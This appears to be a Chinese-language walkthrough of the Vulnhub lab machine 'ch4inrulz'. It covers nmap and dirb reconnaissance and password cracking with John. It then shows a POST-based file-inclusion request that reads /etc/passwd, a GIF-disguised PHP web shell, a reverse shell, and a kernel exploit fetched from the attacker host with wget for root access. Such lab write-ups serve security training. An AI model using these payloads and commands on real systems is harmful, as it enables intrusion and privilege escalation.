Hack the ch4inrulz of Vulnhub
字数 1112 2025-08-29 08:32:24
Vulnhub靶机"ch4inrulz"渗透测试教学文档
环境准备
- 靶机环境: 192.168.107.128 (ch4inrulz)
- 攻击机: Kali Linux 192.168.107.129
- 网络配置: 同一局域网段
信息收集阶段
1. 主机发现
使用nmap进行主机发现:
nmap -sP 192.168.107.1/24
2. 端口扫描
对靶机进行详细扫描:
nmap -sS -A 192.168.107.128
扫描结果:
- 21/tcp: FTP
- 22/tcp: SSH
- 80/tcp: HTTP
- 8011/tcp: 未知服务
Web服务渗透
1. 目录扫描
使用工具扫描Web目录:
dirb http://192.168.107.128
发现重要文件:
/robots.txt(无有用信息)/index.html.bak(备份文件)
2. 分析备份文件
下载并分析index.html.bak,发现:
- 存在
/development目录 - 包含疑似用户名密码的哈希字符串
3. 破解密码
使用John the Ripper破解哈希:
john <hash_file>
破解结果: 密码为frank!!!
FTP服务检查
检查FTP服务(21端口):
ftp 192.168.107.128
未发现有用信息。
8011端口利用
1. 目录扫描
扫描8011端口服务:
dirb http://192.168.107.128:8011
发现/api/目录,包含:
files_api.php(可访问)- 其他API返回404
2. 文件包含漏洞
尝试GET方式读取文件失败,改用POST方式:
curl -X POST -d "file=/etc/passwd" http://192.168.107.128:8011/api/files_api.php
成功读取系统文件。
获取WebShell
1. 登录开发后台
使用破解的凭据登录/development:
- 用户名:
frank - 密码:
frank!!!
2. 文件上传漏洞
发现上传功能在/uploader目录:
- 上传GIF文件测试,确认上传路径为
/FRANKuploads - 尝试上传PHP文件被拦截
- 上传含PHP代码的GIF文件:
GIF89a
<?php system($_GET['cmd']); ?>
3. 结合文件包含执行代码
通过文件包含执行上传的WebShell:
curl http://192.168.107.128:8011/api/files_api.php -X POST -d "file=/var/www/html/FRANKuploads/shell.gif"
4. 获取反向Shell
使用Kali自带的PHP反向Shell脚本:
cp /usr/share/webshells/php/php-reverse-shell.php .
修改IP为攻击机IP,上传后执行获取Shell。
权限提升
1. 改善Shell环境
获取基本Shell后,升级为交互式Shell:
python -c 'import pty; pty.spawn("/bin/bash")'
2. 内核漏洞提权
检查系统版本:
uname -a
搜索对应漏洞,使用本地提权EXP:
- 在Kali搭建Web服务:
python -m SimpleHTTPServer 80
- 靶机下载EXP:
wget http://192.168.107.129/exploit.c -O /tmp/exploit.c
- 编译执行:
gcc /tmp/exploit.c -o /tmp/exploit
chmod +x /tmp/exploit
/tmp/exploit
成功获取root权限。
总结
本渗透测试过程涉及:
- 基础信息收集(nmap扫描)
- Web目录枚举和备份文件分析
- 密码破解(John the Ripper)
- 文件包含漏洞利用
- 文件上传绕过技术
- WebShell获取与反向Shell建立
- 内核漏洞本地提权
关键点在于发现并组合利用文件包含和文件上传漏洞,以及最后的本地提权技术。